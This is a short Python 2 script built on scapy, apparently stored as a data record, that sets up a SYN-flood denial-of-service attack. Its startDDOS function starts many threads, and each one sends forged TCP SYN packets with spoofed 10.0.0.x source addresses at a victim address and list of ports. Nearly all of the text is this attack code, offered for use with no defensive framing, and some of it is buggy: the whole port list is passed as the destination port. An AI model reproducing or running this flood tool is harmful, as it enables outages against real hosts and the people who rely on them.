text: from scapy.all import *
  from threading import Thread
  import time
  import random
  
  def sendPackets(victimAddress,victimPort):
      for port in victimPort:
          for i in range(1,254):
              #raw = str(createRandomString())
              raw = "stuff"
              packetSYN=IP(src="10.0.0." + str(i), dst=victimAddress,id=1111,ttl=99)/TCP(sport=RandShort(),dport=victimPort,seq=12345,ack=1000,window=1000,flags="S")/raw
              print "Sending Packets in 0.1 second intervals for timeout of 2 sec"
              ans,unans=srloop(packetSYN,inter=0.1,retry=2,timeout=2)
              #sr1(packetSYN)
  
  
  def startDDOS(victimAddress,victimPort,numThreads):
      for i in range(1,numThreads):
          print "Creating thread: %s" % i
          thread = Thread(target=sendPackets,args=(victimAddress,victimPort))
          thread.daemon = True
          thread.start()
  
      while True:
          time.sleep(1)
  
  
  def createRandomString():
  	min = 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
  	max = 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
  	return random.randint(min,max)
  